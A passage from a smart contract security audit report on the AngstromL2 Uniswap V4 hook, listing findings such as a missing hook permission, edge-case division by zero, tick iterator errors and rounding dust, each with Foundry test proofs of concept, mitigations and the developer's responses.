This happens because the non-zero fee delta will be accounted to the hook:

```
    if (feeCurrencyId == NATIVE_CURRENCY_ID) {
        unclaimedProtocolRevenueInEther += fee.toUint128();
@>      UNI_V4.mint(address(this), feeCurrencyId, fee + taxInEther);
    } else {
@>      UNI_V4.mint(address(this), feeCurrencyId, fee);
        UNI_V4.mint(address(this), NATIVE_CURRENCY_ID, taxInEther);
    }
```

However, `hook-config.sol` does not specify that the `afterSwapReturnDelta` permission should be encoded within the hook address, so it is possible to construct the contract without it:

```
Hooks.validateHookPermissions(IHooks(address(this)), getRequiredHookPermissions());
```

With this omission, the permission is false and so the unspecified hook delta is not parsed, meaning the intended `afterSwap()` return delta is not added to the caller delta and the additional protocol fee is not paid:

```
    if (self.hasPermission(AFTER_SWAP_FLAG)) {
        hookDeltaUnspecified += self.callHookWithReturnDelta(
            abi.encodeCall(IHooks.afterSwap, (msg.sender, key, params, swapDelta, hookData)),
@>          self.hasPermission(AFTER_SWAP_RETURNS_DELTA_FLAG)
        ).toInt128();
```

```
    }

    function callHookWithReturnDelta(IHooks self, bytes memory data, bool parseReturn) internal returns
    ↪  (int256) {
        bytes memory result = callHook(self, data);

        // If this hook wasn't meant to return something, default to 0 delta
@>      if (!parseReturn) return 0;

        // A length of 64 bytes is required to return a bytes4, and a 32 byte delta
        if (result.length != 64) InvalidHookResponse.selector.revertWith();
        return result.parseReturnDelta();
    }
```

Impact: All swaps will revert if the dynamic protocol fee is enabled.

Proof of Concept: The following test should be added to `AngstromL2.t.sol`

```
function test_cyfrin_SwapFeeNotSettledBecauseHookConfigMissing() public  {
    PoolKey memory key = initializePool(address(token), 10, 3);

    angstrom.setPoolHookSwapFee(key, 0.005e6); // 0.5%

    addLiquidity(key, 0, 10, 1e22);

    vm.expectRevert(bytes4(keccak256("CurrencyNotSettled()")));
    router.swap(key, true, -10e18, int24(0).getSqrtPriceAtTick());
}
```

Recommended Mitigation: The following permission should be added to `hooks-config.sol`:

```
permissions.afterSwapReturnDelta = true;
```

Sorella Labs: Fixed in commit d79a87b.

Cyfrin: Verified. The permission has been added.

7.2.4 Swaps will revert when `A = B + Xhat - x = 0`

Description: `CompensationPriceFinder::_zeroForOneGetFinalCompensationPrice` implements two branches depending on the sign of `A`. The following logic executes when it is positive, but note that `A` will equal zero when `sumX` is exactly equal to `rangeVirtualReserves0`, i.e.

$$A = B + \hat{X} - x = 0$$

:

```
    if (sumX >= rangeVirtualReserves0) {
        // `A` is positive, compute `D = y * (Xhat + B) + A * Yhat`, `p* = (-L + sqrt(D)) / A`.
@>      uint256 a = sumX - rangeVirtualReserves0;
        {
            (uint256 ay1, uint256 ay0) = Math512Lib.fullMul(a, sumUpToThisRange1);
            (d1, d0) = Math512Lib.checkedAdd(d1, d0, ay1, ay0);
        }
        // Compute `sqrtDX96 := sqrt(D) * 2^96 <> sqrt(D * 2^192)`
        (d1, d0) = Math512Lib.checkedMul2Pow192(d1, d0);
        // Reuse `d1, d0` to store numerator `-L + sqrt(D)`.
        (d1, d0) =
            Math512Lib.checkedSub(0, Math512Lib.sqrt512(d1, d0), 0, uint256(liquidity) << 96);
@>      (uint256 upperBits, uint256 p1) = Math512Lib.div512by256(d1, d0, a);
        assert(upperBits == 0);

        return p1.toUint160();
```

```
    } else {
```

In this case, execution will revert in `Math512Lib::div512by256` with `DivisorZero()` due to division by zero; however, the actual solution should be

$$p_\star = (\hat{Y} + y)/2L$$

since the quadratic term in

$$A \cdot (\sqrt{p_\star})^2 + 2L \cdot \sqrt{p_\star} - (\hat{Y} + y) = 0$$

disappears and the equation becomes linear in

$$\sqrt{p_\star}$$

.

Impact: Swaps will revert when

$$A = B + \hat{X} - x = 0$$

.

Recommended Mitigation: Handle this edge case separately.

Sorella Labs: Fixed in commit 500ef96.

Cyfrin: Verified. The

$$A = 0$$

case is now handled separately.

7.3 Low Risk

7.3.1 Dynamic LP fees will remain zero by default unless explicitly updated

Description: As given by the logic in `LPFeeLibrary::getInitialLPFee`, dynamic fee pools initialize with an LP fee of 0%:

```
function getInitialLPFee(uint24 self) internal pure returns (uint24) {
    // the initial fee for a dynamic fee pool is 0
    if (self.isDynamicFee()) return 0;
    self.validate();
    return self;
}
```

While `AngstromL2::setPoolLPFee` allows the contract owner to update the dynamic LP fee, there will be a period following initialization when it is not set. As such, it may be desirable to implement the `afterInitialize()` hook if a non-zero LP fee is required immediately upon initialization.

Impact: The LP fee will remain zero for all pools unless explicitly updated by the hook owner.

Proof of Concept: The following test should be added to `AngstromL2.t.sol`:

```
function test_zeroInitialLPFee() public {
    PoolKey memory key = initializePool(address(token), 10, 3);
    assertEq(manager.getSlot0(key.toId()).lpFee(), 0);
}
```

Recommended Mitigation: Implement the `afterInitialize()` hook to set the desired LP fee immediately upon initialization.

Sorella Labs: Fixed in commit ffb9fb2.

Cyfrin: Verified. Dynamic fee pools are no longer supported.

7.3.2 `TickIterator::_advanceToNextUp` sets uninitialized end tick as the current tick which causes `TickIterator::hasNext` to return true when this is not actually the case

Description: `TickIterator::hasNext` returns true if there are more ticks to iterate, inclusive if the end tick, while `TickIterator::getNext` returns the next tick and advances the iterator:

```
function hasNext(TickIteratorUp memory self) internal pure returns (bool) {
@>   return self.currentTick <= self.endTick;
}

function getNext(TickIteratorUp memory self) internal view returns (int24 tick) {
    if (!hasNext(self)) revert NoNext();
    tick = self.currentTick;
    _advanceToNextUp(self);
}
```

`TickIterator::_advanceToNextUp` intends to advance the upward tick iterator to the next initialized tick, setting it as the current tick. The do-while loop condition terminates once the end tick is reached; however, this logic incorrectly considers the end tick as the next tick even when it is not initialized:

```
function _advanceToNextUp(TickIteratorUp memory self) private view {
    do {
        (int16 wordPos, uint8 bitPos) =
            TickLib.position(TickLib.compress(self.currentTick, self.tickSpacing) + 1);

        if (bitPos == 0) {
            self.currentWord = self.manager.getPoolBitmapInfo(self.poolId, wordPos);
        }
```

```
        bool initialized;
        (initialized, bitPos) = self.currentWord.nextBitPosGte(bitPos);
@>      self.currentTick = TickLib.toTick(wordPos, bitPos, self.tickSpacing);
@>      if (initialized) break;
@>  } while (self.currentTick < self.endTick);
```

Instead, the iterator should marked as exhausted by setting `self.currentTick = type(int24).max` and adding explicit validation within `hasNext()` which should also use an exclusive comparison operator instead.

Impact: Based on the below PoC, this does not appear to affect either the effective price calculation or crediting of rewards as all repeated evaluations yield zero and effectively act as a no-op, although this is not a guarantee that such impact does not exist.

Proof of Concept: The following tests should be added to `TickIterator.t.sol`:

```
function test_iterateUp_phantomAtTopOfWordBoundary() public view {
    // No liquidity anywhere.

    int24 startTick = 2500;
    int24 endTick = 2550;
    TickIteratorUp memory iter =
        TickIteratorLib.initUp(manager, pid, TICK_SPACING, startTick, endTick);

    // Erroneously returns true - should be false with no initialized ticks up to boundary.
    bool hasNext = iter.hasNext();
    console2.log("iter.hasNext(): %s", hasNext);

    // Returns endTick even though it isn't initialized - should revert with NoNext().
    int24 tick = iter.getNext();
    console2.log("iter.getNext(): %s", tick);
    console2.log("endTick: %s", endTick);

    // Prove the returned tick is not initialized.
    (int16 wordPos, uint8 bitPos) = TickLib.position(TickLib.compress(tick, TICK_SPACING));
    uint256 word = IPoolManager(address(manager)).getPoolBitmapInfo(pid, wordPos);
    console2.log("isInitialized: %s", TickLib.isInitialized(word, bitPos));
}

function test_iterateDown_noPhantomAtBottomOfWordBoundary() public view {
    // No liquidity anywhere.

    int24 startTick = 50;
    int24 endTick = 0;

    TickIteratorDown memory iter =
        TickIteratorLib.initDown(manager, pid, TICK_SPACING, startTick, endTick);

    // Should be exhausted - no initialized ticks in (0, 50].
    assertFalse(iter.hasNext(), "Down iterator has a phantom next tick");
}
```

The following test should be added to `AngstromL2.t.sol` and run with `forge test --mt test_tickIteration --decode-internal -vvvv`:

```
function test_tickIteration() public {
    PoolKey memory key = initializePool(address(token), 10, 2500);
    addLiquidity(key, 2500, 2540, 1e21);
    uint256 PRIORITY_FEE = 0.5 gwei;
    setPriorityFee(PRIORITY_FEE);

    router.swap(key, false, 1000e18, int24(2550).getSqrtPriceAtTick());
}
```

Recommended Mitigation: Modify the upward tick iterator functions such that `hasNext()` returns false when there are no further initialized ticks.

Sorella Labs: Fixed in commit 0d6d39e.

Cyfrin: Verified. The do-while loop is now inclusive of the end tick such that the current tick advances beyond the end and `hasNext()` returns false.

7.3.3 `CompensationPriceFinder` amount delta rounding directions are not consistent with Uniswap

Description: `CompensationPriceFinder::getZeroForOne` and `CompensationPriceFinder::getOneForZero` both round down in every instance when invoking `SqrtPriceMath::getAmount0Delta` and `SqrtPriceMath::getAmount1Delta`:

```
uint256 delta0 =
    SqrtPriceMath.getAmount0Delta(priceLowerSqrtX96, priceUpperSqrtX96, liquidity, false);
uint256 delta1 =
    SqrtPriceMath.getAmount1Delta(priceLowerSqrtX96, priceUpperSqrtX96, liquidity, false);
```

To be consistent with how Uniswap charges swaps in `SwapMath::computeSwapStep`, the input token delta should round depending on whether the swap is an exact input or an exact output swap:

```
if (exactIn) {
    uint256 amountRemainingLessFee =
        FullMath.mulDiv(uint256(-amountRemaining), MAX_SWAP_FEE - _feePips, MAX_SWAP_FEE);
    amountIn = zeroForOne
@>      ? SqrtPriceMath.getAmount0Delta(sqrtPriceTargetX96, sqrtPriceCurrentX96, liquidity, true)
@>      : SqrtPriceMath.getAmount1Delta(sqrtPriceCurrentX96, sqrtPriceTargetX96, liquidity, true);
    if (amountRemainingLessFee >= amountIn) {
        // `amountIn` is capped by the target price
        ...
    } else {
        // exhaust the remaining amount
        ...
    }
    amountOut = zeroForOne
@>      ? SqrtPriceMath.getAmount1Delta(sqrtPriceNextX96, sqrtPriceCurrentX96, liquidity, false)
@>      : SqrtPriceMath.getAmount0Delta(sqrtPriceCurrentX96, sqrtPriceNextX96, liquidity, false);
} else {
```

Impact: While this could result in incorrect computation of the effective price, the impact is thought to be limited.

Recommended Mitigation: Consider the swap context when determining the rounding direction.

Sorella Labs: Acknowledged. This is different than Uniswap's logic. There you want to round in the pool's favor to prevent abuse on small amounts. Here you'd be slightly favoring ticks that are closer/further from the current price which seems subjective.

Cyfrin: Acknowledged.

7.3.4 `CompensationPriceFinder::getZeroForOne` may compute smaller effective prices than expected

Description: `CompensationPriceFinder::getOneForZero` contains a conditional branch that exists to skip execution that would result in reverts either due to underflow or division by zero:

```
@>  if (sumAmount0Deltas > taxInEther) {
@>      uint256 simplePstarX96 = sumAmount1Deltas.divX96(sumAmount0Deltas - taxInEther);
        if (simplePstarX96 <= uint256(priceUpperSqrtX96).mulX96(priceUpperSqrtX96)) {
            pstarSqrtX96 = _oneForZeroGetFinalCompensationPrice(...);

            return (lastTick, pstarSqrtX96);
        }
```

```
    }
```

This logic is also present in `CompensationPriceFinder::getZeroForOne`; however, in this case, neither underflow nor division by zero is possible:

```
@>  if (sumAmount0Deltas > taxInEther) {
        if (
@>          sumAmount1Deltas.divX96(sumAmount0Deltas + taxInEther)
                >= uint256(priceLowerSqrtX96).mulX96(priceLowerSqrtX96)
        ) {
            pstarSqrtX96 = _zeroForOneGetFinalCompensationPrice(...);

            return (lastTick, pstarSqrtX96);
        }
    }
```

This could result in the effective price calculation being skipped even when it would have been validated to lie within the current tick range, since the threshold ratio could be satisfied even when `sumAmount0Deltas <= taxInEther`.

Furthermore, after all the ticks have been iterated, there is a subsequent asymmetry when checking the effective price condition:

```
if (simplePstarX96 > uint256(priceLowerSqrtX96).mulX96(priceLowerSqrtX96)) {
```

Here, if the effective price is exactly equal to the end tick then execution will fall through to returning a 512-bit square root price based on `simplePstarX96` instead of executing `_oneForZeroGetFinalCompensationPrice()`.

Impact: This may result in computation of a smaller effective price than expected, compensating liquidity providers who otherwise shouldn't be compensated.

Recommended Mitigation:

```
    function getZeroForOne(
        TickIteratorDown memory ticks,
        uint128 liquidity,
        uint256 taxInEther,
        uint160 priceUpperSqrtX96,
        Slot0 slot0AfterSwap
    ) internal view returns (int24 lastTick, uint160 pstarSqrtX96) {
        uint256 sumAmount0Deltas = 0; // X
        uint256 sumAmount1Deltas = 0; // Y

        uint160 priceLowerSqrtX96;
        while (ticks.hasNext()) {
            lastTick = ticks.getNext();
            priceLowerSqrtX96 = TickMath.getSqrtPriceAtTick(lastTick);

            {
                uint256 delta0 = SqrtPriceMath.getAmount0Delta(
                    priceLowerSqrtX96, priceUpperSqrtX96, liquidity, false
                );
                uint256 delta1 = SqrtPriceMath.getAmount1Delta(
                    priceLowerSqrtX96, priceUpperSqrtX96, liquidity, false
                );
                sumAmount0Deltas += delta0;
                sumAmount1Deltas += delta1;

--              if (sumAmount0Deltas > taxInEther) {
                    if (
                        sumAmount1Deltas.divX96(sumAmount0Deltas + taxInEther)
                            >= uint256(priceLowerSqrtX96).mulX96(priceLowerSqrtX96)
                    ) {
                        pstarSqrtX96 = _zeroForOneGetFinalCompensationPrice(
```

```
                            priceUpperSqrtX96,
                            taxInEther,
                            liquidity,
                            sumAmount0Deltas - delta0,
                            sumAmount1Deltas - delta1
                        );
                        return (lastTick, pstarSqrtX96);
                    }
--              }
            }

            (, int128 liquidityNet) = ticks.manager.getTickLiquidity(ticks.poolId, lastTick);
            require(int128(liquidity) >= liquidityNet, "getZeroForOne: liquidity < liquidityNet");
            liquidity = liquidity.sub(liquidityNet);

            priceUpperSqrtX96 = priceLowerSqrtX96;
        }

        priceLowerSqrtX96 = slot0AfterSwap.sqrtPriceX96();

        uint256 delta0 =
            SqrtPriceMath.getAmount0Delta(priceLowerSqrtX96, priceUpperSqrtX96, liquidity, false);
        uint256 delta1 =
            SqrtPriceMath.getAmount1Delta(priceLowerSqrtX96, priceUpperSqrtX96, liquidity, false);
        sumAmount0Deltas += delta0;
        sumAmount1Deltas += delta1;

        uint256 simplePstarX96 = sumAmount1Deltas.divX96(sumAmount0Deltas + taxInEther);
--      if (simplePstarX96 > uint256(priceLowerSqrtX96).mulX96(priceLowerSqrtX96)) {
++      if (simplePstarX96 >= uint256(priceLowerSqrtX96).mulX96(priceLowerSqrtX96)) {
            pstarSqrtX96 = _zeroForOneGetFinalCompensationPrice(
                priceUpperSqrtX96,
                taxInEther,
                liquidity,
                sumAmount0Deltas - delta0,
                sumAmount1Deltas - delta1
            );

            return (type(int24).min, pstarSqrtX96);
        }
        (uint256 p1, uint256 p0) = Math512Lib.checkedMul2Pow96(0, simplePstarX96);

        return (type(int24).min, Math512Lib.sqrt512(p1, p0).toUint160());
    }
```

Sorella Labs: Fixed in commit f09acd4. The `if (sumAmount0Deltas > taxInEther) {` in the zero-for-one case can actually lead to computing wrong compensation prices, it's only triggered for very large tick spacings though (>6,900 I think) so arguably still low.

Cyfrin: Verified. The outer conditional branch has been removed.

7.3.5 Dust due to rounding tax calculations will accumulate in `AngstromL2` and cannot be recovered

Description: The sum of rewards owed to positions can be less than the total tax amount due to rounding. While it is correct to round down these proportional share calculations, any dust that is not accounted to `unclaimedProtocolRevenueInEther` will remain locked in the `AngstromL2` contract.

There does exist some logic to distribute the remainder of `taxInEther` to the last range; however, `rewardGrowthOutsideX128` is never incremented for the relevant tick:

```
// Distribute remainder to last range and update global accumulator.
unchecked {
    cumulativeGrowthX128 += PoolRewardsLib.getGrowthDelta(taxInEther, liquidity);
```

```
    rewards[ticks.poolId].globalGrowthX128 += cumulativeGrowthX128;
}
```

Additionally, when the liquidity is zero then a zero growth delta is returned and the remainder would not be accounted anyway.

Impact: Dust amounts will accumulate and not be recoverable.

Proof of Concept: The following test should be added to `AngstromL2.t.sol`:

```
function test_rewardDust() public {
    PoolKey memory key = initializePool(address(token), 10, 3);

    uint256 PRIORITY_FEE = 10 gwei;
    setPriorityFee(PRIORITY_FEE);
    uint256 tax = angstrom.getSwapTaxAmount(PRIORITY_FEE);

    int24[2][] memory positions = new int24[2][](3);
    positions[0] = [int24(0), int24(10)];
    positions[1] = [int24(10), int24(20)];
    positions[2] = [int24(20), int24(30)];

    for (uint256 i = 0; i < positions.length; i++) {
        addLiquidity(key, positions[i][0], positions[i][1], 1e22);
    }

    router.swap(key, false, 1000e18, int24(25).getSqrtPriceAtTick());

    uint256 cumulativeRewards;

    for (uint256 i = 0; i < positions.length; i++) {
        cumulativeRewards += angstrom.getPendingPositionRewards(
            key, address(router), positions[i][0], positions[i][1], bytes32(0)
        );
    }

    assertEq(cumulativeRewards, tax, "All tax should be rewarded/accounted");
}
```

Recommended Mitigation: Account any dust tax amounts to the `unclaimedProtocolRevenueInEther` state so that it can be withdrawn by the protocol.

Sorella Labs: Acknowledged. By definition it's dust so complexity of accounting that likely not worth the attack surface considering the value lost is likely not even worth the gas to account for it.

Cyfrin: Acknowledged.

7.4 Informational

7.4.1 Custom error conditionals can be re-written for better readability

Description: In numerous instances throughout the contracts, the `!(... <binary comparison operator> ...)` pattern is used when reverting with custom errors. By De Morgan's Laws, such conditionals can be re-written for better readability.

Recommended Mitigation: * `UniConsumer.sol`:

```
function _onlyUniV4() internal view {
-   if (!(msg.sender == address(UNI_V4))) revert NotUniswap();
+   if (msg.sender != address(UNI_V4)) revert NotUniswap();
}
```

- `TickIterator.sol`:

```
function reset(TickIteratorUp memory self, int24 startTick) internal view {
-   if (!(startTick <= self.endTick)) revert InvalidRange();
+   if (startTick > self.endTick) revert InvalidRange();
    ...
}

function reset(TickIteratorDown memory self, int24 startTick) internal view {
-   if (!(self.endTick <= startTick)) revert InvalidRange();
+   if (self.endTick > startTick) revert InvalidRange();
    ...
}
```

- `Math512Lib.sol`:

```
function checkedMul2Pow192(uint256 x1, uint256 x0)
    internal
    pure
    returns (uint256 y1, uint256 y0)
{
-   if (!((x1 << 192) >> 192 == x1)) revert Overflow();
+   if ((x1 << 192) >> 192 != x1) revert Overflow();
    return ((x1 << 192) | (x0 >> 64), x0 << 192);
}

function checkedMul2Pow96(uint256 x1, uint256 x0)
    internal
    pure
    returns (uint256 y1, uint256 y0)
{
-   if (!((x1 << 96) >> 96 == x1)) revert Overflow();
+   if ((x1 << 96) >> 96 != x1) revert Overflow();
    return ((x1 << 96) | (x0 >> 160), x0 << 96);
}
```

- `PoolRewards.sol`:

```
// updateAfterLiquidityAdd()
-   if (!(params.liquidityDelta >= 0)) revert NegativeDeltaForAdd();
+   if (params.liquidityDelta < 0) revert NegativeDeltaForAdd();

// updateAfterLiquidityRemove()
-   if (!(0 >= params.liquidityDelta)) revert PositiveDeltaForRemove();
+   if (params.liquidityDelta > 0)) revert PositiveDeltaForRemove();
```

- `AngstromL2.sol`:

```
function withdrawProtocolRevenue(uint160 assetId, address to, uint256 amount) public {
```

```
    _checkOwner();

    if (assetId == NATIVE_CURRENCY_ID) {
-       if (!(amount <= unclaimedProtocolRevenueInEther)) {
+       if (amount > unclaimedProtocolRevenueInEther) {
            revert AttemptingToWithdrawLPRewards();
        }
        unclaimedProtocolRevenueInEther -= amount.toUint128();
    }

    UNI_V4.transfer(to, assetId, amount);
}

...

function setPoolHookSwapFee(PoolKey calldata key, uint256 newFeeE6) public {
    _checkOwner();
-   if (!(newFeeE6 <= MAX_PROTOCOL_FEE_E6)) revert ProtocolFeeExceedsMaximum();
+   if (newFeeE6 > MAX_PROTOCOL_FEE_E6) revert ProtocolFeeExceedsMaximum();
    ...
}
```

Sorella Labs: Acknowledged. As discussed, this is my own quirky style which I deem more readable because it makes the inner condition be that which you would put inside an assert or require which I personally find more intuitive.

Cyfrin: Acknowledged.

7.4.2 `IBeforeInitializeHook` should be added to the `AngstromL2` inheritance chain

Description: `AngstromL2.sol` imports the `IBeforeInitializeHook` interface; however, it is not currently used. Given that `AngstromL2` is expected to implement this hook, it should be added to the inheritance chain:

```
contract AngstromL2 is
    UniConsumer,
    Ownable,
+   IBeforeInitializeHook
    IBeforeSwapHook,
    IAfterSwapHook,
    IAfterAddLiquidityHook,
    IAfterRemoveLiquidityHook
{
    ...
}
```

Sorella Labs: Fixed in commit 724759d.

Cyfrin: Verified.

7.4.3 Unused custom error should removed if not required

Description: `AngstromL2` defines the `NegationOverflow()` custom error; however, it is not currently used and so should be removed unless actually required.

Sorella Labs: Fixed in commit 4702d84.

Cyfrin: Verified.

7.4.4 Modifier-style base `Ownable()` constructor call can be removed from `AngstromL2`

Description: `AngstromL2` inherits the `Ownable` contract which has no constructor. Instead, it is expected that the `_initializeOwner()` function is called, as is currently the case:

```
constructor(IPoolManager uniV4, address owner, IFlashBlockNumber flashBlockNumberProvider)
    UniConsumer(uniV4)
@>  Ownable()
{
@>  _initializeOwner(owner);
    ...
}
```

Therefore, the modifier-style base constructor call without arguments can be removed to silent the `forge lint` error.

Recommended Mitigation:

```
constructor(IPoolManager uniV4, address owner, IFlashBlockNumber flashBlockNumberProvider)
    UniConsumer(uniV4)
-   Ownable()
{
    _initializeOwner(owner);
    ...
}
```

Sorella Labs: Acknowledged, prefer explicit constructor invocation.

Cyfrin: Acknowledged.

7.4.5 Consider burning `ERC-6909` claim tokens within `AngstromL2::withdrawProtocolRevenue` and transferring the underlying asset instead

Description: `AngstromL2::withdrawProtocolRevenue` currently transfers `ERC-6909` balance to the recipient; however, this address may lack the capability to easily burn the claim token. Instead, it may be preferable to perform this step within a Uniswap V4 `PoolManager` callback prior to transferring the underlying asset and then ending execution.

```
UNI_V4.transfer(to, assetId, amount);
```

Sorella Labs: Fixed in commit ffb9fb2.

Cyfrin: Verified. The underlying currency is now transferred directly.

7.4.6 Zero-for-one swaps will revert for small input amounts relative to the specified priority fee

Description: For zero-for-one native token swaps, a sufficiently large priority fee relative to the swap amount will cause a revert with `HookDeltaExceedsSwapAmount()`. This is because the calculated swap tax is greater than the native token provided for the swap; however, the `Hooks::beforeSwap` logic explicitly prevents this scenario in which the returned hook delta would cause the swap semantics to change:

```
// Update the swap amount according to the hook's return, and check that the swap type doesn't change
↪  (exact input/output)
if (hookDeltaSpecified != 0) {
    bool exactInput = amountToSwap < 0;
    amountToSwap += hookDeltaSpecified;
    if (exactInput ? amountToSwap > 0 : amountToSwap < 0) {
        HookDeltaExceedsSwapAmount.selector.revertWith();
    }
}
```

Proof of Concept: The following test should be added to `AngstromL2.t.sol`

```
/*
 * Reverts with HookDeltaExceedsSwapAmount because calculated tax amount is 0.00343e18 which is
 * more ETH than it provided
```

```
 */
function test_cyfrin_verySmallZeroForOneSwap() public {
    uint256 PRIORITY_FEE = 0.7 gwei;
    PoolKey memory key = initializePool(address(token), 10, 3);

    setupSimpleZeroForOnePositions(key);
    setPriorityFee(PRIORITY_FEE);

    bytes4 selector = bytes4(keccak256("HookDeltaExceedsSwapAmount()"));
    vm.expectRevert(selector);
    router.swap(key, true, -0.00342e18, int24(-35).getSqrtPriceAtTick());
}
```

Sorella Labs: If they're expecting to pay more in tax than to swap then it doesn't make sense to complete the tx in the first place. Believe this to be a non-issue.

Cyfrin: Acknowledged.

7.4.7 Large priority fee relative to one-for-zero swap amounts will cause `CompensationPriceFinder::getOneForZero` to underflow

Description: Swaps over zero liquidity can push the square root price to any arbitrary tick and are allowed by Uniswap; however, such top-of-block one-for-zero swaps are in certain circumstances not possible in Angstrom due to arithmetic panic revert.

For a sufficiently large priority fee relative to the swap amount such that `taxInEther > sumAmount0Deltas`, `CompensationFinder::getOneForZero` will panic revert due to underflow:

```
uint256 simplePstarX96 = sumAmount1Deltas.divX96(sumAmount0Deltas - taxInEther);
```

Alternatively, this logic will throw `FullMulDivFailed()` when `sumAmount0Deltas` and `taxInEther` are exactly equal.

While it is understood that this is intended and would not make financial sense for an arbitrageur to swap insufficient ETH out of one-for-zero swaps such that the tax is not covered, LPs will not receive any share of the priority fee.

Proof of Concept: The following test should be added to `AngstromL2.t.sol`

```
// If priority fee is high enough, one-for-zero swap underflows
function test_cyfrin_EnormousPriorityFeeCausesUnderflowInCompensationPriceFinderGetOneForZero() public {
    PoolKey memory key = initializePool(address(token), 10, 3);

    setupSimpleZeroForOnePositions(key);

    uint256 PRIORITY_FEE = 1750 gwei;
    setPriorityFee(PRIORITY_FEE);

    vm.expectRevert();
    router.swap(key, false, 1e18, int24(35).getSqrtPriceAtTick());
}

// If there is no liquidity, one-for-zero swap reverts
function test_cyfrin_zeroLiquiditySwap() public {
    setPriorityFee(10 gwei);
    PoolKey memory key = initializePool(address(token), 10, 3);

    uint160 sqrtPriceLimit = int24(15).getSqrtPriceAtTick();

    router.swap(key, false, 100e18, sqrtPriceLimit);
}
```

Recommended Mitigation: Consider throwing an informative error:

```
error OutputLessThanMevTax();

if (!(sumAmount0Deltas >= taxInEther)) {
     revert OutputLessThanMevTax()
}
```

Sorella Labs: Acknowledged. Not worth the complexity, will leave as is.

Cyfrin: Acknowledged.

7.4.8 `rewardGrowthOutsideX128` is not correctly initialized in `PoolRewards::updateAfterLiquidityAdd`

Description: The Uniswap V3/V4 convention is that if a tick has just been initialized, and the current tick is to the right of that tick, then its `feeGrowthOutside[0/1]X1278` values must be initialized with `feeGrowthGlobal[0/1]X128`.

`PoolRewards::updateAfterLiquidityAdd` intends to replicate this logic and initialize the `rewardGrowthOutsideX128` for the relevant ticks; however, this function is called as part of the `AngstromL2::afterAddLiquidity` hook, at which point the ticks are initialized as the liquidity is non-zero. Thus e.g. `!pm.isInitialized(...)` will always return `false` and hence the body of the if-statement will never be executed, meaning this state is never initialized.

Fortunately, the presence of `lastGrowthInsideX128` corrects for what would otherwise be an overflow vector, mitigating for any potential impact. In the following analysis, let values be taken modulo 1000 for simplicity, i.e., within the range `[0, 999]` with wraparound at 1000.

Abbreviations:

- `gi` is `growthInsideX128`
- `lgi` is `lastGrowthInsideX128`
- `rgo` is `rewardsGrowthOutsideX128`
- `t` is current tick
- `G` is `globalGrowthX128`

Assume:

- `G == 10`
- `rgo[0] == 3`
- `rgo[10]` uninitialized
- `t = 11`

Now add some liquidity in `[0,10]` `lgi = 0 - 3 = 997`

Consider the following three cases for `t`, assuming no new rewards were added.

Case 1: t has not moved

```
  gi - lgi
= rgo[10] - rgo[0] - lgi
= 0 - 3 - 997 = 997 - 997 = 0
```

Case 2: 0 <= t < 10

- `rgo[10]` flipped from 0 to 10 as `t` moved left

```
    gi - lgi
== G - rgo[0] - rgo[10] - lgi
== 10 - 3 - 10 - 997
== 997 - 997
```

```
== 0
```

Case 3: t < 0 Now `rgo[0]` flipped to `7 == 10 - 3` as `t` moved left

```
    gi - lgi
== rgo[0] - rgo[10] - lgi
== 7 - 10 - 997
== 997 - 997
== 0
```

Now reconsider the final two cases when rewards *do* grow.

Case 2: `0 <= t < 10`.

- `G` grew by 2 to `12`
- `rgo[10]` grew by `1` (after flipping) to `11`

```
    gi - lgi
== 12 - 3 - 11 - 997
== 998 - 997
== 1
```

Case 3: `t < 0`

- `G` grew by 3 to `13` (combination of rgo[10] and rgo[0] growth below)
- `rgo[10]` grew by 2 to `12`.
- `rgo[0]` grew by a further 1 (after flipping). `rgo[0] = 7 + 2 + 1 == 10`

```
    gi - lgi
== 10 - 12 - 997
== 998 - 997
== 1
```

This demonstrates that it is the cumulative growth of rewards outside that protects this logic from underflow.

Proof of Concept: The following test, which should be added to `AngstromL2.t.sol`, demonstrates how `rewardGrowthOutsideX128` is not correctly initialized:

```
function test_cyfrin_IncorrectGrowthOutsideInitialization() public {
    uint256 PRIORITY_FEE = 0.7 gwei;
    PoolKey memory key = initializePool(address(token), 10, 7);

    angstrom.setPoolLPFee(key, 0.0005e6);
    addLiquidity(key, 0, 30, 10e21);
    bumpBlock();

    setPriorityFee(PRIORITY_FEE);

    // swap left and right to build up feeGrowthGlobal in both currencies
    router.swap(key, true,  -1000e18, int24(1).getSqrtPriceAtTick());
    bumpBlock();
    router.swap(key, false, -1000e18, int24(25).getSqrtPriceAtTick());

    setPriorityFee(0);
    bumpBlock();
    int24 tickLower = 10;
    int24 tickUpper = 20;
    addLiquidity(key, tickLower, tickUpper, 10e21);

    PoolId id = key.toId();

    // lower tick
```

```
    {
        (uint256 lowerFeeGrowthOutside0X128, uint256 lowerFeeGrowthOutside1X128) =
        ↪  StateLibrary.getTickFeeGrowthOutside(manager, id, tickLower);
        (uint256 lowerFeeGrowthGlobal0X128, uint256 lowerFeeGrowthGlobal1X128) =
        ↪  StateLibrary.getFeeGrowthGlobals(manager, id);
        uint256 lowerRewardGlobalGrowthX128 = angstrom.getRewardGlobalGrowthX128(id);
        uint256 lowerRewardGrowthOutsideX128 = angstrom.getRewardGrowthOutsideX128(id, tickLower);
        assertGt(lowerFeeGrowthGlobal0X128, 0);
        assertGt(lowerFeeGrowthGlobal1X128, 0);
        assertEq(lowerFeeGrowthOutside0X128, lowerFeeGrowthGlobal0X128);
        assertEq(lowerFeeGrowthOutside1X128, lowerFeeGrowthGlobal1X128);
        assertGt(lowerRewardGlobalGrowthX128, 0);
        /* BUG: lowerRewardGrowthOutsideX128 should be non-zero since lowerRewardGlobalGrowthX128 is
        ↪  non-zero! */
        assertEq(lowerRewardGrowthOutsideX128, 0);
    }

    // upper tick
    {
        (uint256 upperFeeGrowthOutside0X128, uint256 upperFeeGrowthOutside1X128) =
        ↪  StateLibrary.getTickFeeGrowthOutside(manager, id, tickUpper);
        (uint256 upperFeeGrowthGlobal0X128, uint256 upperFeeGrowthGlobal1X128) =
        ↪  StateLibrary.getFeeGrowthGlobals(manager, id);
        uint256 upperRewardGlobalGrowthX128 = angstrom.getRewardGlobalGrowthX128(id);
        uint256 upperRewardGrowthOutsideX128 = angstrom.getRewardGrowthOutsideX128(id, tickUpper);
        assertGt(upperFeeGrowthGlobal0X128, 0);
        assertGt(upperFeeGrowthGlobal1X128, 0);
        assertEq(upperFeeGrowthOutside0X128, upperFeeGrowthGlobal0X128);
        assertEq(upperFeeGrowthOutside1X128, upperFeeGrowthGlobal1X128);
        assertGt(upperRewardGlobalGrowthX128, 0);
        /* BUG: upperRewardGrowthOutsideX128 should be non-zero since upperRewardGlobalGrowthX128 is
        ↪  non-zero! */
